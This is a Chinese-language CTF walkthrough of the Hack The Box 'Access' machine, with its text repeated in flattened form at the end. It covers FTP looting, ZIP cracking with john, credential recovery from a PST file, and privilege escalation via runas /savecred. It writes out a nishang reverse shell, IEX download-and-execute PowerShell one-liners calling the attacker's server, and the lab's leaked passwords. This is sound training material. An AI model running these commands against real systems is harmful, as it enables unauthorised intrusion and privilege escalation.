【HTB系列】靶机Access的渗透测试详解
字数 1241 2025-08-15 21:33:54

HTB靶机Access渗透测试详解

靶机概述

Access是Hack The Box平台上的一个CTF挑战靶机,模拟真实世界渗透测试场景。该靶机包含从普通用户权限获取到管理员权限提升的完整渗透路径。

初始信息收集

端口扫描

使用nmap进行初始扫描:

nmap -sC -sV -T5 10.10.10.98

扫描结果显示开放端口:

  • 21/tcp - FTP
  • 23/tcp - Telnet
  • 80/tcp - HTTP

FTP服务探测

使用Metasploit检测FTP是否允许匿名登录:

use auxiliary/scanner/ftp/anonymous

确认FTP允许匿名登录后,使用wget递归下载FTP文件:

wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98

Telnet服务探测

尝试Telnet匿名登录失败,但确认23端口确实是Telnet服务。

Web服务分析

访问80端口的HTTP服务,下载页面图片并检查:

exiftool out.jpg
strings out.jpg

未发现有用信息后,使用gobuster进行目录爆破:

gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

FTP文件分析

从FTP下载的文件中包含:

  1. Engineer/Access Control.zip - 加密的ZIP文件
  2. backup.mdb - Access数据库文件

ZIP文件破解

  1. 检查ZIP文件加密信息:
7z l -slt Access\ Control.zip
  1. 提取ZIP文件的hash:
zip2john Access\ Control.zip > Access\ Control.hash
  1. 从mdb文件生成密码字典:
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
  1. 使用john破解ZIP密码:
john --wordlist=wordlist Access\ Control.hash
john Access\ Control.hash --show  # 查看破解出的密码

获取密码:access4u@security

  1. 解压ZIP文件:
7z x Access\ Control.zip

PST文件分析

解压后得到.pst文件(Outlook个人文件夹),使用readpst读取:

readpst Access\ Control.pst
less Access\ Control.mbox

发现凭证:

  • 用户名:Security
  • 密码:4Cc3ssC0ntr0ller

获取普通用户权限

使用获取的凭证通过Telnet登录:

telnet 10.10.10.98

登录后,在桌面找到user.txt获取用户flag。

权限提升

初始权限检查

验证PowerShell是否可用:

powershell

建立反弹shell

  1. 使用nishang框架创建PowerShell反弹脚本:
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1

编辑nishang.ps1,在末尾添加:

Invoke-PowerShellTcp -Reverse -IPAddress <你的IP> -Port <监听端口>
  1. 启动HTTP服务器:
python -m http.server 8000
  1. 在目标机器上执行:
powershell "IEX(New-Object Net.WebClient).downloadString('http://<你的IP>:8000/nishang.ps1')"
  1. 本地监听反弹shell:
nc -lvnp 9001

系统信息枚举

使用JAWS脚本枚举系统信息:

IEX(New-Object Net.WebClient).downloadString('http://<你的IP>:8000/jaws-enum.ps1')

或使用cmdkey查看凭证:

cmdkey /list

发现权限提升路径

在公共用户目录发现快捷方式文件(.lnk),使用WScript查看详细信息:

$WScript = New-Object -ComObject Wscript.Shell
$shortcut = Get-ChildItem *.lnk
$Wscript.CreateShortcut($shortcut)

发现runas命令带有/savecred参数,可利用此特性无需密码执行管理员命令。

获取管理员权限

  1. 准备第二个反弹脚本nishang2.ps1,修改监听端口为9002

  2. 对命令进行编码转换:

echo -n "IEX(New-Object Net.WebClient).downloadString('http://<你的IP>:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
  1. 执行runas命令:
runas /user:ACCESS\Administrator /savecred "powershell -enc <编码后的命令>"
  1. 本地监听第二个端口:
nc -lvnp 9002

成功获取管理员权限后,在管理员桌面找到root.txt获取管理员flag。

总结

本渗透测试路径:

  1. 通过FTP匿名登录获取加密ZIP和mdb文件
  2. 从mdb文件提取密码字典破解ZIP密码
  3. 分析PST文件获取Telnet凭证
  4. 通过Telnet获取普通用户权限
  5. 利用runas /savecred特性提升至管理员权限

关键点:

  • FTP匿名访问泄露敏感文件
  • 弱加密的ZIP文件可通过字典攻击破解
  • PST文件中存储了明文凭证
  • runas /savecred配置不当导致权限提升漏洞
HTB靶机Access渗透测试详解 靶机概述 Access是Hack The Box平台上的一个CTF挑战靶机,模拟真实世界渗透测试场景。该靶机包含从普通用户权限获取到管理员权限提升的完整渗透路径。 初始信息收集 端口扫描 使用nmap进行初始扫描: 扫描结果显示开放端口: 21/tcp - FTP 23/tcp - Telnet 80/tcp - HTTP FTP服务探测 使用Metasploit检测FTP是否允许匿名登录: 确认FTP允许匿名登录后,使用wget递归下载FTP文件: Telnet服务探测 尝试Telnet匿名登录失败,但确认23端口确实是Telnet服务。 Web服务分析 访问80端口的HTTP服务,下载页面图片并检查: 未发现有用信息后,使用gobuster进行目录爆破: FTP文件分析 从FTP下载的文件中包含: Engineer/Access Control.zip - 加密的ZIP文件 backup.mdb - Access数据库文件 ZIP文件破解 检查ZIP文件加密信息: 提取ZIP文件的hash: 从mdb文件生成密码字典: 使用john破解ZIP密码: 获取密码: access4u@security 解压ZIP文件: PST文件分析 解压后得到.pst文件(Outlook个人文件夹),使用readpst读取: 发现凭证: 用户名:Security 密码:4Cc3ssC0ntr0ller 获取普通用户权限 使用获取的凭证通过Telnet登录: 登录后,在桌面找到user.txt获取用户flag。 权限提升 初始权限检查 验证PowerShell是否可用: 建立反弹shell 使用nishang框架创建PowerShell反弹脚本: 编辑nishang.ps1,在末尾添加: 启动HTTP服务器: 在目标机器上执行: 本地监听反弹shell: 系统信息枚举 使用JAWS脚本枚举系统信息: 或使用cmdkey查看凭证: 发现权限提升路径 在公共用户目录发现快捷方式文件(.lnk),使用WScript查看详细信息: 发现runas命令带有/savecred参数,可利用此特性无需密码执行管理员命令。 获取管理员权限 准备第二个反弹脚本nishang2.ps1,修改监听端口为9002 对命令进行编码转换: 执行runas命令: 本地监听第二个端口: 成功获取管理员权限后,在管理员桌面找到root.txt获取管理员flag。 总结 本渗透测试路径: 通过FTP匿名登录获取加密ZIP和mdb文件 从mdb文件提取密码字典破解ZIP密码 分析PST文件获取Telnet凭证 通过Telnet获取普通用户权限 利用runas /savecred特性提升至管理员权限 关键点: FTP匿名访问泄露敏感文件 弱加密的ZIP文件可通过字典攻击破解 PST文件中存储了明文凭证 runas /savecred配置不当导致权限提升漏洞